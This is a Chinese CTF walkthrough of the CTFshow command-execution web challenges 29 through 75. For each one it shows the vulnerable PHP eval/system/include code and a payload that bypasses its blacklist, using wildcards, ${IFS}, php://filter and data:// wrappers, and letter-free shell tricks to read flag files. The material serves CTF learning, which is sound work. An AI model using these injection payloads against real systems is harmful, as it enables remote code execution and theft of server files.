CTFshow web入門 (命令執行)


命令執行小技巧 可以先看下這篇文章,方便接下來的做題

web 29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

解法一:
由於過濾了flag,可以使用通配符進行繞過
在linux系統中 有一些通配符

  • 匹配任何字符串/文本,包括空字符串;*代表任意字符(0個或多個) ls file *
    ? 匹配任何一個字符(不在括號內時)?代表任意1個字符 ls file 0
    [abcd] 匹配abcd中任何一個字符
    [a-z] 表示范圍a到z,表示范圍的意思 []匹配中括號中任意一個字符 ls file 0

PAYLOAD:c=system('cat f*');

解法二:

了解 eval函數之后

傳入
c=echo "npfs";?>ctf <?php system('ls');
可以看到有 flag.php文件,之后采用include進行包含讀取
payload:

?c=echo "npfs"; ?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php

web 30

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

該題與29題的不同之處就是增加了對命令執行函數的過濾,命令執行的函數有很多

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引號 同shell_exec() 

這里需要注意一下,只有system函數是有回顯的,其他的函數可以通過echo等顯示

這里采用反引號繞過

解法一:
payload:c=echo `cat f*`;

解法二:
payload:
?c=echo "npfs "; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web 31

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

emmmmm ,過濾了空格,單引號等

空格繞過

> < <> 重定向符
%09(需要php環境)
${IFS}
$IFS$9
{cat,flag.php} //用逗號實現了空格功能
%20
%09

cat被過濾

more:一頁一頁的顯示檔案內容
less:與 more 類似
head:查看頭幾行
tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示
tail:查看尾幾行
nl:顯示的時候,順便輸出行號
od:以二進制的方式讀取檔案內容
vi:一種編輯器,這個也可以查看
vim:一種編輯器,這個也可以查看
sort:可以查看
uniq:可以查看
file -f:報錯出具體內容

解法一:
payload: c=echo(tac%09f*);

解法二:
c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php

直接單引號改雙引號即可

web 32

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

emmmmm,過濾了括號

群里大佬的圖

這里直接用include 進行無括號包含即可

解法一:
payload:?c=include $_GET["npfs"] ?>&npfs=php://filter/read=convert.base64-encode/resource=flag.php

解法二:
payload:

?c=include $_POST[npfs] ?>
npfs=php://filter/read=convert.base64-encode/resource=flag.php

web 33

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

過濾了單雙引號,直接用數組作為參數即可繞過

解法一:
?c=include $_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

解法二:
?c=include $_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php

web 34

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

emmmmm,多過濾了一個分號,不過好像沒什么用。。

payload同上

web 35

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多過濾了一個這個符號 < ,好像沒什么用哈哈

payload繼續同上

web 36

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

過濾了數字

直接把數字1改成字符就🆗了

payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

payload:
?c=include$_POST[a]?>
a=php://filter/read=convert.base64-encode/resource=flag.php

web 37

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

過濾了flag ,又是 include 文件包含

利用偽協議讀flag

data://,可以讓用戶來控制輸入流,當它與包含函數結合時,用戶輸入的data://流會被當作php文件執行

flag.php 可以用通配符繞過

payload:
?c=data://text/plain,

查看源碼即可得到flag

web 38

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

解法一:

原理同上一題,多了個php過濾,base64編碼繞過即可

payload:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs=

web 39

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

同37

web 40

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

過濾了引號、美元符號、冒號,這里可以構造無參數函數進行文件讀取

無參數文件讀取

看來上面這篇文章應該可以知道scandir(current(localeconv())) 查看當前目錄所有文件名

我們可以發現flag.php在數組的倒數第二個值里,我們可以通過 array_reverse 進行逆轉數組,然后用next()函數進行下一個值的讀取,記得成功讀取flag.php文件

payload:?c=highlight_flie(next(array_reverse(scandir(current(localeconv())))));

web 41

附大佬wp一份https://wp.ctf.show/d/137-ctfshow-web-web41

web 42

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

>/dev/null 2>&1主要意思是不進行回顯的意思,可參考https://www.cnblogs.com/tinywan/p/6025468.html

我們要讓命令回顯,那么進行命令分隔即可

;	//分號
|	//只執行后面那條命令
||	//只執行前面那條命令
&	//兩條命令都會執行
&&	//兩條命令都會執行

payload:cat flag.php;
payload: cat flag.php||

web 43

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

過濾了cat和分號,換一個文件讀取命令即可,命令執行繞過小技巧

more:一頁一頁的顯示檔案內容
less:與 more 類似
head:查看頭幾行
tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示
tail:查看尾幾行
nl:顯示的時候,順便輸出行號
od:以二進制的方式讀取檔案內容
vi:一種編輯器,這個也可以查看
vim:一種編輯器,這個也可以查看
sort:可以查看
uniq:可以查看
file -f:報錯出具體內容
grep
strings

payload: sort flag.php|| (payload有很多,這里只列舉一個)

查看源碼即可得到flag

web 44

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多過濾了一個flag,通配符繞過即可

payload:?c=sort%20fl*|| (payload有很多,這里只列舉一個)

web 45

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多過濾了個空格

空格繞過

>` `<` `<>` 重定向符
`%09`(需要php環境)
`${IFS}`
`$IFS$9`
`{cat,flag.php}` //用逗號實現了空格功能
`%20`
`%09

payload: ?c=sort${IFS}fl*||

web 46

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

過濾了數子,$,*等,通配符可以使用?問號,空格可用%09 (不屬於數字)

payload: ?c=sort%09fl?g.php||

web 47

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多過濾了一些內容,自己按照表找出未被過濾的進行替代即可

payload: ?c=tac%09fl?g.php||

web 48

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上

web 49

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

同上

web 50

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);

<>和?一起使用時沒有回顯,所以這里的?可以用反斜杠進行代替

paylaod:?c=tac<>fla\g.php||

web 51

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

%0a是換行,同樣可以進行命令分隔;tac被過濾,換nl

payload: ?c=nl<>fla\g.php%0a

web 52

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=nl${IFS}fla\g.php%0a

得到

emmmm 假的

看下根目錄

讀取即可

web 53

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

更簡單了,不需要命令分隔了......

payload:?c=nl${IFS}fla\g.php

web 54

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

grep

grep test *file   #在當前目錄中,查找后綴有 file 字樣的文件中包含 test 字符串的文件,並打印出該字符串的行

payload:?c=grep${IFS}%27{%27${IFS}fl???php

意思就是在 fl???php匹配到的文件中,查找含有{的文件,並打印出包含 { 的這一行

web 55

<?php

// 你們在炫技嗎?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

先放payload: ?c=/???/????64%20????.???

bin目錄:

bin為binary的簡寫主要放置一些 系統的必備執行檔例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

這里我們可以利用 base64 中的64 進行通配符匹配 即 /bin/base64 flag.php

得到如下:

base64解密,即可得到flag

看了羽大佬的WP還有一種解法

如下:payload:?c=/???/???/????2 ????.??? ---》 然后在url + /flag.php.bz2

/usr/bin目錄:

主要放置一些應用軟件工具的必備執行檔例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

我們可以利用/usr/bin下的bzip2

意思就是說我們先將flag.php文件進行壓縮,然后再將其下載

web 56

<?php

// 你們在炫技嗎?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

很有趣的一道題,學到里奧新姿勢,P神文章奉上無字母數字webshell之提高篇

該題主要就是用P神文章里講的方法來做的

首先構造一個post上傳文件的數據包

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST文件上傳</title>
</head>
<body>
<form action="http://17d01aae-51d9-48fe-abfb-d9ba10037d72.chall.ctf.show/" method="post" enctype="multipart/form-data">
    <!--鏈接是當前打開的題目鏈接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上傳一個php文件,文件內容

#!/bin/sh
ls

注:shell程序必須以"#!/bin/sh"開始,#! /bin/sh 是指此腳本使用/bin/sh來解釋執行,#!是特殊的表示符,其后面跟的是解釋此腳本的shell的路徑

上傳抓包

抓包之后添加參數c如下,多發包幾次(因為並不一定生成的臨時文件的最后一個字母就是大寫字母),可以看到執行了ls命令

注:這里為什么要傳參數,以及參數內容為什么是 .%20/???/????????[@-[] ,P神的文章已經寫的很詳細了

1.php就是我們上傳的可控的文件,我們傳的參數c的值為 . /bin/phpXXXXXX,意思就是說匹配上傳1.php文件所生成的臨時文件,並執行之

可以看到flag.php文件,

用cat命令讀取文件即可

web 57

<?php

// 還能炫的動嗎?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

emmmmmmmm 不會

payload奉上:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web 58-65

<?php

// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload:

c=echo highlight_file('flag.php');
c=show_source("flag.php");
c=highlight_file("flag.php");

web 66

<?php

// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

代碼沒變,里頭東西變了

首先 c=print_r(scandir("/")); 查看目錄結構,發現flag.txt

payload:c=highlight_file("/flag.txt");

web 67

emmmm. print_r被禁了,換成 var_dump即可,做法同上

payload:c=var_dump(scandir("/"));highlight_file("/flag.txt");

web 68-70

文件顯示的代碼,比如show_source、highlight_file、file_get_contents等基本都被禁了,這里換成文件包含的即可,如include、require

payload: c=var_dump(scandir("/"));include("/flag.txt");

web 71

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
你要上天嗎?

$s = ob_get_contents();//得到緩沖區的數據。
ob_end_clean();//會清除緩沖區的內容,並將緩沖區關閉,但不會輸出內容。

可以利用exit9);停止后面的程序

payload:c=require("/flag.txt");exit();

web 72

emmmmm.不會 略

等大佬通俗易懂的WP

web 73

glob遍歷目錄 學到了

c=?><?php
	$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

可以發現里面有個flagc.txt文件

payload: c=include("/flagc.txt");exit();

web 74

文件名變成flagx.php,做法同73

web 75

文件名是flag36.txt接下去就不會了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM